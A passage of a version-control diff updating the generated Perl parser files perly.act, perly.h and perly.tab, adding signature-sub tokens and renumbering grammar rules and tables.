 				newOP(OP_PUSHMARK, 0),
 				    newLISTOP(OP_KVHSLICE, 0,
@@ -1590,27 +1632,27 @@
 
     break;
 
-  case 201:
-#line 1128 "perly.y" /* yacc.c:1646  */
+  case 208:
+#line 1152 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 202:
-#line 1130 "perly.y" /* yacc.c:1646  */
+  case 209:
+#line 1154 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, 0, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 203:
-#line 1132 "perly.y" /* yacc.c:1646  */
+  case 210:
+#line 1156 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED, scalar((ps[-2].val.opval)));
 			}
 
     break;
 
-  case 204:
-#line 1135 "perly.y" /* yacc.c:1646  */
+  case 211:
+#line 1159 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				op_append_elem(OP_LIST, (ps[-1].val.opval), scalar((ps[-3].val.opval))));
@@ -1618,8 +1660,8 @@
 
     break;
 
-  case 205:
-#line 1140 "perly.y" /* yacc.c:1646  */
+  case 212:
+#line 1164 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 			    op_append_elem(OP_LIST, (ps[0].val.opval), scalar((ps[-1].val.opval))));
 			}
@@ -1626,131 +1668,131 @@
 
     break;
 
-  case 206:
-#line 1144 "perly.y" /* yacc.c:1646  */
+  case 213:
+#line 1168 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newSVREF((ps[-3].val.opval)); }
 
     break;
 
-  case 207:
-#line 1146 "perly.y" /* yacc.c:1646  */
+  case 214:
+#line 1170 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newAVREF((ps[-3].val.opval)); }
 
     break;
 
-  case 208:
-#line 1148 "perly.y" /* yacc.c:1646  */
+  case 215:
+#line 1172 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newHVREF((ps[-3].val.opval)); }
 
     break;
 
-  case 209:
-#line 1150 "perly.y" /* yacc.c:1646  */
+  case 216:
+#line 1174 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, 0,
 				       scalar(newCVREF((ps[-1].val.ival),(ps[-3].val.opval)))); }
 
     break;
 
-  case 210:
-#line 1153 "perly.y" /* yacc.c:1646  */
+  case 217:
+#line 1177 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newGVREF(0,(ps[-3].val.opval)); }
 
     break;
 
-  case 211:
-#line 1155 "perly.y" /* yacc.c:1646  */
+  case 218:
+#line 1179 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP((ps[0].val.ival), OPf_SPECIAL);
 			    PL_hints |= HINT_BLOCK_SCOPE; }
 
     break;
 
-  case 212:
-#line 1158 "perly.y" /* yacc.c:1646  */
+  case 219:
+#line 1182 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOOPEX((ps[-1].val.ival),(ps[0].val.opval)); }
 
     break;
 
-  case 213:
-#line 1160 "perly.y" /* yacc.c:1646  */
+  case 220:
+#line 1184 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_NOT, 0, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 214:
-#line 1162 "perly.y" /* yacc.c:1646  */
+  case 221:
+#line 1186 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP((ps[0].val.ival), 0); }
 
     break;
 
-  case 215:
-#line 1164 "perly.y" /* yacc.c:1646  */
+  case 222:
+#line 1188 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP((ps[-1].val.ival), 0, (ps[0].val.opval)); }
 
     break;
 
-  case 216:
-#line 1166 "perly.y" /* yacc.c:1646  */
+  case 223:
+#line 1190 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP((ps[-1].val.ival), 0, (ps[0].val.opval)); }
 
     break;
 
-  case 217:
-#line 1168 "perly.y" /* yacc.c:1646  */
+  case 224:
+#line 1192 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP(OP_REQUIRE, (ps[0].val.ival) ? OPf_SPECIAL : 0); }
 
     break;
 
-  case 218:
-#line 1170 "perly.y" /* yacc.c:1646  */
+  case 225:
+#line 1194 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_REQUIRE, (ps[-1].val.ival) ? OPf_SPECIAL : 0, (ps[0].val.opval)); }
 
     break;
 
-  case 219:
-#line 1172 "perly.y" /* yacc.c:1646  */
+  case 226:
+#line 1196 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 220:
-#line 1174 "perly.y" /* yacc.c:1646  */
+  case 227:
+#line 1198 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 			    op_append_elem(OP_LIST, (ps[0].val.opval), scalar((ps[-1].val.opval)))); }
 
     break;
 
-  case 221:
-#line 1177 "perly.y" /* yacc.c:1646  */
+  case 228:
+#line 1201 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP((ps[0].val.ival), 0); }
 
     break;
 
-  case 222:
-#line 1179 "perly.y" /* yacc.c:1646  */
+  case 229:
+#line 1203 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP((ps[-2].val.ival), 0);}
 
     break;
 
-  case 223:
-#line 1181 "perly.y" /* yacc.c:1646  */
+  case 230:
+#line 1205 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 224:
-#line 1183 "perly.y" /* yacc.c:1646  */
+  case 231:
+#line 1207 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[-2].val.opval); }
 
     break;
 
-  case 225:
-#line 1185 "perly.y" /* yacc.c:1646  */
+  case 232:
+#line 1209 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 226:
-#line 1187 "perly.y" /* yacc.c:1646  */
+  case 233:
+#line 1211 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = ((ps[-2].val.ival) == OP_NOT)
                           ? newUNOP((ps[-2].val.ival), 0, newSVOP(OP_CONST, 0, newSViv(0)))
                           : newOP((ps[-2].val.ival), OPf_SPECIAL); }
@@ -1757,14 +1799,14 @@
 
     break;
 
-  case 227:
-#line 1191 "perly.y" /* yacc.c:1646  */
+  case 234:
+#line 1215 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP((ps[-3].val.ival), 0, (ps[-1].val.opval)); }
 
     break;
 
-  case 228:
-#line 1193 "perly.y" /* yacc.c:1646  */
+  case 235:
+#line 1217 "perly.y" /* yacc.c:1646  */
     {
 			    if (   (ps[0].val.opval)->op_type != OP_TRANS
 			        && (ps[0].val.opval)->op_type != OP_TRANSR
@@ -1778,125 +1820,116 @@
 
     break;
 
-  case 229:
-#line 1204 "perly.y" /* yacc.c:1646  */
+  case 236:
+#line 1228 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = pmruntime((ps[-5].val.opval), (ps[-2].val.opval), (ps[-1].val.opval), 1, (ps[-4].val.ival)); }
 
     break;
 
-  case 232:
-#line 1208 "perly.y" /* yacc.c:1646  */
-    {
-			  (yyval.opval) = newLISTOP(OP_DIE, 0, newOP(OP_PUSHMARK, 0),
-				newSVOP(OP_CONST, 0, newSVpvs("Unimplemented")));
-			}
-
-    break;
-
-  case 234:
-#line 1217 "perly.y" /* yacc.c:1646  */
+  case 240:
+#line 1236 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = my_attrs((ps[-1].val.opval),(ps[0].val.opval)); }
 
     break;
 
-  case 235:
-#line 1219 "perly.y" /* yacc.c:1646  */
+  case 241:
+#line 1238 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = localize((ps[0].val.opval),1); }
 
     break;
 
-  case 236:
-#line 1221 "perly.y" /* yacc.c:1646  */
+  case 242:
+#line 1240 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_REFGEN, 0, my_attrs((ps[-1].val.opval),(ps[0].val.opval))); }
 
     break;
 
-  case 237:
-#line 1226 "perly.y" /* yacc.c:1646  */
+  case 243:
+#line 1245 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = sawparens((ps[-1].val.opval)); }
 
     break;
 
-  case 238:
-#line 1228 "perly.y" /* yacc.c:1646  */
+  case 244:
+#line 1247 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = sawparens(newNULLLIST()); }
 
     break;
 
-  case 239:
-#line 1231 "perly.y" /* yacc.c:1646  */
+  case 245:
+#line 1250 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 240:
-#line 1233 "perly.y" /* yacc.c:1646  */
+  case 246:
+#line 1252 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 241:
-#line 1235 "perly.y" /* yacc.c:1646  */
+  case 247:
+#line 1254 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 242:
-#line 1240 "perly.y" /* yacc.c:1646  */
+  case 248:
+#line 1259 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 243:
-#line 1242 "perly.y" /* yacc.c:1646  */
+  case 249:
+#line 1261 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 244:
-#line 1246 "perly.y" /* yacc.c:1646  */
+  case 250:
+#line 1265 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 245:
-#line 1248 "perly.y" /* yacc.c:1646  */
+  case 251:
+#line 1267 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 246:
-#line 1252 "perly.y" /* yacc.c:1646  */
+  case 252:
+#line 1271 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 247:
-#line 1254 "perly.y" /* yacc.c:1646  */
+  case 253:
+#line 1273 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 248:
-#line 1260 "perly.y" /* yacc.c:1646  */
+  case 254:
+#line 1279 "perly.y" /* yacc.c:1646  */
     { parser->in_my = 0; (yyval.opval) = my((ps[0].val.opval)); }
 
     break;
 
-  case 256:
-#line 1277 "perly.y" /* yacc.c:1646  */
+  case 262:
+#line 1296 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newCVREF((ps[-1].val.ival),(ps[0].val.opval)); }
 
     break;
 
-  case 257:
-#line 1281 "perly.y" /* yacc.c:1646  */
+  case 263:
+#line 1300 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newSVREF((ps[0].val.opval)); }
 
     break;
 
-  case 258:
-#line 1285 "perly.y" /* yacc.c:1646  */
+  case 264:
+#line 1304 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newAVREF((ps[0].val.opval));
 			  if ((yyval.opval)) (yyval.opval)->op_private |= (ps[-1].val.ival);
 			}
@@ -1903,8 +1936,8 @@
 
     break;
 
-  case 259:
-#line 1291 "perly.y" /* yacc.c:1646  */
+  case 265:
+#line 1310 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newHVREF((ps[0].val.opval));
 			  if ((yyval.opval)) (yyval.opval)->op_private |= (ps[-1].val.ival);
 			}
@@ -1911,62 +1944,62 @@
 
     break;
 
-  case 260:
-#line 1297 "perly.y" /* yacc.c:1646  */
+  case 266:
+#line 1316 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newAVREF((ps[0].val.opval)); }
 
     break;
 
-  case 261:
-#line 1299 "perly.y" /* yacc.c:1646  */
+  case 267:
+#line 1318 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newAVREF((ps[-3].val.opval)); }
 
     break;
 
-  case 262:
-#line 1303 "perly.y" /* yacc.c:1646  */
+  case 268:
+#line 1322 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newGVREF(0,(ps[0].val.opval)); }
 
     break;
 
-  case 264:
-#line 1308 "perly.y" /* yacc.c:1646  */
+  case 270:
+#line 1327 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newAVREF((ps[-2].val.opval)); }
 
     break;
 
-  case 266:
-#line 1313 "perly.y" /* yacc.c:1646  */
+  case 272:
+#line 1332 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newHVREF((ps[-2].val.opval)); }
 
     break;
 
-  case 268:
-#line 1318 "perly.y" /* yacc.c:1646  */
+  case 274:
+#line 1337 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newGVREF(0,(ps[-2].val.opval)); }
 
     break;
 
-  case 269:
-#line 1323 "perly.y" /* yacc.c:1646  */
+  case 275:
+#line 1342 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = scalar((ps[0].val.opval)); }
 
     break;
 
-  case 270:
-#line 1325 "perly.y" /* yacc.c:1646  */
+  case 276:
+#line 1344 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = scalar((ps[0].val.opval)); }
 
     break;
 
-  case 271:
-#line 1327 "perly.y" /* yacc.c:1646  */
+  case 277:
+#line 1346 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_scope((ps[0].val.opval)); }
 
     break;
 
-  case 272:
-#line 1330 "perly.y" /* yacc.c:1646  */
+  case 278:
+#line 1349 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
@@ -1977,6 +2010,6 @@
     
 
 /* Generated from:
- * a8b5527eacb1205d15c8c01acb4a8f99b494e5b453ddd68a2a2e7fca4be3302a perly.y
- * 153cba5d215c1a083a0459c43f4d55c45fd0a7093c197d7247a456dcde21ea53 regen_perly.pl
+ * ac323bb6f3cacf4eb8eda6403a58c41f30954d07a4a6d6f7f00de81577b2c79a perly.y
+ * b6fae5748f9bef6db4740aa5e122b84ac5181852d42474d0ecad621fa4253306 regen_perly.pl
  * ex: set ro: */

Modified: vendor/perl/dist/perly.h
===================================================================
--- vendor/perl/dist/perly.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perly.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -74,64 +74,66 @@
     LABEL = 277,
     FORMAT = 278,
     SUB = 279,
-    ANONSUB = 280,
-    PACKAGE = 281,
-    USE = 282,
-    WHILE = 283,
-    UNTIL = 284,
-    IF = 285,
-    UNLESS = 286,
-    ELSE = 287,
-    ELSIF = 288,
-    CONTINUE = 289,
-    FOR = 290,
-    GIVEN = 291,
-    WHEN = 292,
-    DEFAULT = 293,
-    LOOPEX = 294,
-    DOTDOT = 295,
-    YADAYADA = 296,
-    FUNC0 = 297,
-    FUNC1 = 298,
-    FUNC = 299,
-    UNIOP = 300,
-    LSTOP = 301,
-    RELOP = 302,
-    EQOP = 303,
-    MULOP = 304,
-    ADDOP = 305,
-    DOLSHARP = 306,
-    DO = 307,
-    HASHBRACK = 308,
-    NOAMP = 309,
-    LOCAL = 310,
-    MY = 311,
-    REQUIRE = 312,
-    COLONATTR = 313,
-    FORMLBRACK = 314,
-    FORMRBRACK = 315,
-    PREC_LOW = 316,
-    OROP = 317,
-    DOROP = 318,
-    ANDOP = 319,
-    NOTOP = 320,
-    ASSIGNOP = 321,
-    OROR = 322,
-    DORDOR = 323,
-    ANDAND = 324,
-    BITOROP = 325,
-    BITANDOP = 326,
-    SHIFTOP = 327,
-    MATCHOP = 328,
-    UMINUS = 329,
-    REFGEN = 330,
-    POWOP = 331,
-    PREINC = 332,
-    PREDEC = 333,
-    POSTINC = 334,
-    POSTDEC = 335,
-    POSTJOIN = 336,
-    ARROW = 337
+    SIGSUB = 280,
+    ANONSUB = 281,
+    ANON_SIGSUB = 282,
+    PACKAGE = 283,
+    USE = 284,
+    WHILE = 285,
+    UNTIL = 286,
+    IF = 287,
+    UNLESS = 288,
+    ELSE = 289,
+    ELSIF = 290,
+    CONTINUE = 291,
+    FOR = 292,
+    GIVEN = 293,
+    WHEN = 294,
+    DEFAULT = 295,
+    LOOPEX = 296,
+    DOTDOT = 297,
+    YADAYADA = 298,
+    FUNC0 = 299,
+    FUNC1 = 300,
+    FUNC = 301,
+    UNIOP = 302,
+    LSTOP = 303,
+    RELOP = 304,
+    EQOP = 305,
+    MULOP = 306,
+    ADDOP = 307,
+    DOLSHARP = 308,
+    DO = 309,
+    HASHBRACK = 310,
+    NOAMP = 311,
+    LOCAL = 312,
+    MY = 313,
+    REQUIRE = 314,
+    COLONATTR = 315,
+    FORMLBRACK = 316,
+    FORMRBRACK = 317,
+    PREC_LOW = 318,
+    OROP = 319,
+    DOROP = 320,
+    ANDOP = 321,
+    NOTOP = 322,
+    ASSIGNOP = 323,
+    OROR = 324,
+    DORDOR = 325,
+    ANDAND = 326,
+    BITOROP = 327,
+    BITANDOP = 328,
+    SHIFTOP = 329,
+    MATCHOP = 330,
+    UMINUS = 331,
+    REFGEN = 332,
+    POWOP = 333,
+    PREINC = 334,
+    PREDEC = 335,
+    POSTINC = 336,
+    POSTDEC = 337,
+    POSTJOIN = 338,
+    ARROW = 339
   };
 #endif
 
@@ -181,6 +183,6 @@
 
 
 /* Generated from:
- * a8b5527eacb1205d15c8c01acb4a8f99b494e5b453ddd68a2a2e7fca4be3302a perly.y
- * 153cba5d215c1a083a0459c43f4d55c45fd0a7093c197d7247a456dcde21ea53 regen_perly.pl
+ * ac323bb6f3cacf4eb8eda6403a58c41f30954d07a4a6d6f7f00de81577b2c79a perly.y
+ * b6fae5748f9bef6db4740aa5e122b84ac5181852d42474d0ecad621fa4253306 regen_perly.pl
  * ex: set ro: */

Modified: vendor/perl/dist/perly.tab
===================================================================
--- vendor/perl/dist/perly.tab	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perly.tab	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,21 +6,21 @@
 
 #define YYFINAL  14
 /* YYLAST -- Last index in YYTABLE.  */
-#define YYLAST   3085
+#define YYLAST   3165
 
 /* YYNTOKENS -- Number of terminals.  */
-#define YYNTOKENS  105
+#define YYNTOKENS  107
 /* YYNNTS -- Number of nonterminals.  */
-#define YYNNTS  86
+#define YYNNTS  90
 /* YYNRULES -- Number of rules.  */
-#define YYNRULES  272
+#define YYNRULES  278
 /* YYNSTATES -- Number of states.  */
-#define YYNSTATES  539
+#define YYNSTATES  549
 
 /* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
    by yylex, with out-of-bounds checking.  */
 #define YYUNDEFTOK  2
-#define YYMAXUTOK   337
+#define YYMAXUTOK   339
 
 #define YYTRANSLATE(YYX)                                                \
   ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
@@ -32,16 +32,16 @@
        0,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,    88,     2,     2,   102,    16,    17,     2,
-     100,    99,   103,    14,    77,    13,    19,   104,     2,     2,
-       2,     2,     2,     2,     2,     2,     2,     2,    80,   101,
-       2,    18,     2,    79,    15,     2,     2,     2,     2,     2,
+       2,     2,     2,    90,     2,     2,   104,    16,    17,     2,
+     102,   101,   105,    14,    79,    13,    19,   106,     2,     2,
+       2,     2,     2,     2,     2,     2,     2,     2,    82,   103,
+       2,    18,     2,    81,    15,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,    11,     2,    12,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     2,     2,     9,     2,    10,    89,     2,     2,     2,
+       2,     2,     2,     9,     2,    10,    91,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
        2,     2,     2,     2,     2,     2,     2,     2,     2,     2,
@@ -61,8 +61,8 @@
       46,    47,    48,    49,    50,    51,    52,    53,    54,    55,
       56,    57,    58,    59,    60,    61,    62,    63,    64,    65,
       66,    67,    68,    69,    70,    71,    72,    73,    74,    75,
-      76,    78,    81,    82,    83,    84,    85,    86,    87,    90,
-      91,    92,    93,    94,    95,    96,    97,    98
+      76,    77,    78,    80,    83,    84,    85,    86,    87,    88,
+      89,    92,    93,    94,    95,    96,    97,    98,    99,   100
 };
 
 #if YYDEBUG
@@ -69,34 +69,34 @@
   /* YYRLINE[YYN] -- Source line where rule number YYN was defined.  */
 static const yytype_uint16 yyrline[] =
 {
-       0,   118,   118,   117,   128,   127,   137,   136,   149,   148,
-     161,   160,   173,   172,   184,   192,   200,   204,   212,   218,
-     219,   229,   230,   239,   243,   247,   251,   258,   260,   271,
-     270,   304,   303,   342,   350,   349,   358,   364,   370,   375,
-     377,   379,   386,   394,   396,   393,   413,   418,   425,   424,
-     439,   447,   453,   460,   459,   474,   478,   486,   504,   505,
-     510,   512,   514,   516,   518,   520,   522,   525,   531,   532,
-     537,   548,   549,   555,   561,   562,   567,   570,   574,   579,
-     583,   587,   588,   592,   598,   603,   608,   609,   614,   615,
-     620,   621,   623,   628,   630,   642,   643,   648,   650,   654,
-     674,   675,   677,   683,   748,   750,   756,   758,   762,   768,
-     769,   774,   773,   825,   826,   830,   832,   834,   836,   840,
-     842,   847,   851,   855,   859,   865,   870,   876,   882,   884,
-     887,   886,   897,   898,   902,   906,   909,   914,   919,   922,
-     926,   930,   933,   938,   942,   945,   947,   949,   954,   956,
-     958,   963,   965,   967,   969,   971,   973,   975,   977,   979,
-     981,   983,   988,   990,   993,   995,   997,  1000,  1003,  1014,
-    1017,  1024,  1026,  1028,  1030,  1032,  1035,  1049,  1051,  1055,
-    1056,  1057,  1058,  1059,  1061,  1063,  1065,  1067,  1069,  1071,
-    1073,  1075,  1077,  1079,  1081,  1083,  1085,  1087,  1097,  1107,
-    1117,  1127,  1129,  1131,  1134,  1139,  1143,  1145,  1147,  1149,
-    1152,  1154,  1157,  1159,  1161,  1163,  1165,  1167,  1169,  1171,
-    1173,  1176,  1178,  1180,  1182,  1184,  1186,  1190,  1193,  1192,
-    1205,  1206,  1207,  1212,  1216,  1218,  1220,  1225,  1227,  1230,
-    1232,  1234,  1239,  1241,  1246,  1247,  1252,  1253,  1259,  1263,
-    1264,  1265,  1268,  1269,  1272,  1273,  1276,  1280,  1284,  1290,
-    1296,  1298,  1302,  1306,  1307,  1311,  1312,  1316,  1317,  1322,
-    1324,  1326,  1329
+       0,   119,   119,   118,   130,   129,   140,   139,   153,   152,
+     166,   165,   179,   178,   191,   199,   207,   211,   219,   225,
+     226,   236,   237,   246,   250,   254,   258,   265,   267,   280,
+     277,   301,   296,   317,   325,   324,   333,   339,   345,   350,
+     352,   354,   361,   369,   371,   368,   388,   393,   400,   399,
+     414,   422,   428,   435,   434,   449,   453,   458,   466,   484,
+     485,   490,   492,   494,   496,   498,   500,   502,   505,   511,
+     512,   517,   528,   529,   535,   541,   542,   547,   550,   554,
+     559,   563,   567,   568,   572,   578,   583,   588,   589,   594,
+     595,   600,   601,   603,   608,   610,   622,   623,   628,   630,
+     634,   654,   655,   657,   663,   728,   730,   736,   738,   742,
+     748,   749,   754,   755,   760,   759,   818,   819,   824,   835,
+     836,   839,   850,   852,   854,   856,   860,   862,   867,   871,
+     875,   879,   885,   890,   896,   902,   904,   907,   906,   917,
+     918,   922,   926,   929,   934,   939,   942,   946,   950,   956,
+     964,   971,   977,   979,   981,   986,   988,   990,   995,   997,
+     999,  1001,  1003,  1005,  1007,  1009,  1011,  1013,  1015,  1020,
+    1022,  1025,  1027,  1029,  1032,  1035,  1046,  1049,  1056,  1058,
+    1060,  1062,  1064,  1067,  1073,  1075,  1079,  1080,  1081,  1082,
+    1083,  1085,  1087,  1089,  1091,  1093,  1095,  1097,  1099,  1101,
+    1103,  1105,  1107,  1109,  1111,  1121,  1131,  1141,  1151,  1153,
+    1155,  1158,  1163,  1167,  1169,  1171,  1173,  1176,  1178,  1181,
+    1183,  1185,  1187,  1189,  1191,  1193,  1195,  1197,  1200,  1202,
+    1204,  1206,  1208,  1210,  1214,  1217,  1216,  1229,  1230,  1231,
+    1235,  1237,  1239,  1244,  1246,  1249,  1251,  1253,  1258,  1260,
+    1265,  1266,  1271,  1272,  1278,  1282,  1283,  1284,  1287,  1288,
+    1291,  1292,  1295,  1299,  1303,  1309,  1315,  1317,  1321,  1325,
+    1326,  1330,  1331,  1335,  1336,  1341,  1343,  1345,  1348
 };
 #endif
 
@@ -110,25 +110,26 @@
   "']'", "'-'", "'+'", "'@'", "'%'", "'&'", "'='", "'.'", "BAREWORD",
   "METHOD", "FUNCMETH", "THING", "PMFUNC", "PRIVATEREF", "QWLIST",
   "FUNC0OP", "FUNC0SUB", "UNIOPSUB", "LSTOPSUB", "PLUGEXPR", "PLUGSTMT",
-  "LABEL", "FORMAT", "SUB", "ANONSUB", "PACKAGE", "USE", "WHILE", "UNTIL",
-  "IF", "UNLESS", "ELSE", "ELSIF", "CONTINUE", "FOR", "GIVEN", "WHEN",
-  "DEFAULT", "LOOPEX", "DOTDOT", "YADAYADA", "FUNC0", "FUNC1", "FUNC",
-  "UNIOP", "LSTOP", "RELOP", "EQOP", "MULOP", "ADDOP", "DOLSHARP", "DO",
-  "HASHBRACK", "NOAMP", "LOCAL", "MY", "REQUIRE", "COLONATTR",
-  "FORMLBRACK", "FORMRBRACK", "PREC_LOW", "OROP", "DOROP", "ANDOP",
-  "NOTOP", "','", "ASSIGNOP", "'?'", "':'", "OROR", "DORDOR", "ANDAND",
-  "BITOROP", "BITANDOP", "SHIFTOP", "MATCHOP", "'!'", "'~'", "UMINUS",
-  "REFGEN", "POWOP", "PREINC", "PREDEC", "POSTINC", "POSTDEC", "POSTJOIN",
-  "ARROW", "')'", "'('", "';'", "'$'", "'*'", "'/'", "$accept", "grammar",
-  "$@1", "$@2", "$@3", "$@4", "$@5", "$@6", "block", "formblock",
-  "remember", "mblock", "mremember", "stmtseq", "formstmtseq", "fullstmt",
-  "labfullstmt", "barestmt", "$@7", "$@8", "$@9", "$@10", "$@11", "@12",
-  "$@13", "formline", "formarg", "sideff", "else", "cont", "mintro",
-  "nexpr", "texpr", "iexpr", "mexpr", "mnexpr", "formname", "startsub",
-  "startanonsub", "startformsub", "subname", "proto", "subattrlist",
-  "myattrlist", "sigvarname", "sigslurpsigil", "sigslurpelem",
-  "sigdefault", "sigscalarelem", "sigelem", "siglist", "siglistornull",
-  "subsignature", "$@14", "optsubbody", "expr", "listexpr", "listop",
+  "LABEL", "FORMAT", "SUB", "SIGSUB", "ANONSUB", "ANON_SIGSUB", "PACKAGE",
+  "USE", "WHILE", "UNTIL", "IF", "UNLESS", "ELSE", "ELSIF", "CONTINUE",
+  "FOR", "GIVEN", "WHEN", "DEFAULT", "LOOPEX", "DOTDOT", "YADAYADA",
+  "FUNC0", "FUNC1", "FUNC", "UNIOP", "LSTOP", "RELOP", "EQOP", "MULOP",
+  "ADDOP", "DOLSHARP", "DO", "HASHBRACK", "NOAMP", "LOCAL", "MY",
+  "REQUIRE", "COLONATTR", "FORMLBRACK", "FORMRBRACK", "PREC_LOW", "OROP",
+  "DOROP", "ANDOP", "NOTOP", "','", "ASSIGNOP", "'?'", "':'", "OROR",
+  "DORDOR", "ANDAND", "BITOROP", "BITANDOP", "SHIFTOP", "MATCHOP", "'!'",
+  "'~'", "UMINUS", "REFGEN", "POWOP", "PREINC", "PREDEC", "POSTINC",
+  "POSTDEC", "POSTJOIN", "ARROW", "')'", "'('", "';'", "'$'", "'*'", "'/'",
+  "$accept", "grammar", "@1", "@2", "@3", "@4", "@5", "@6", "block",
+  "formblock", "remember", "mblock", "mremember", "stmtseq", "formstmtseq",
+  "fullstmt", "labfullstmt", "barestmt", "$@7", "$@8", "$@9", "$@10",
+  "$@11", "@12", "$@13", "formline", "formarg", "sideff", "else", "cont",
+  "mintro", "nexpr", "texpr", "iexpr", "mexpr", "mnexpr", "formname",
+  "startsub", "startanonsub", "startformsub", "subname", "proto",
+  "subattrlist", "myattrlist", "sigvarname", "sigslurpsigil",
+  "sigslurpelem", "sigdefault", "sigscalarelem", "sigelem", "siglist",
+  "siglistornull", "optsubsignature", "subsignature", "$@14", "optsubbody",
+  "subbody", "optsigsubbody", "sigsubbody", "expr", "listexpr", "listop",
   "@15", "method", "subscripted", "termbinop", "termunop", "anonymous",
   "termdo", "term", "@16", "myattrterm", "myterm", "optlistexpr",
   "optexpr", "optrepl", "my_scalar", "my_var", "refgen_topic", "my_refgen",
@@ -149,81 +150,82 @@
      284,   285,   286,   287,   288,   289,   290,   291,   292,   293,
      294,   295,   296,   297,   298,   299,   300,   301,   302,   303,
      304,   305,   306,   307,   308,   309,   310,   311,   312,   313,
-     314,   315,   316,   317,   318,   319,   320,    44,   321,    63,
-      58,   322,   323,   324,   325,   326,   327,   328,    33,   126,
-     329,   330,   331,   332,   333,   334,   335,   336,   337,    41,
-      40,    59,    36,    42,    47
+     314,   315,   316,   317,   318,   319,   320,   321,   322,    44,
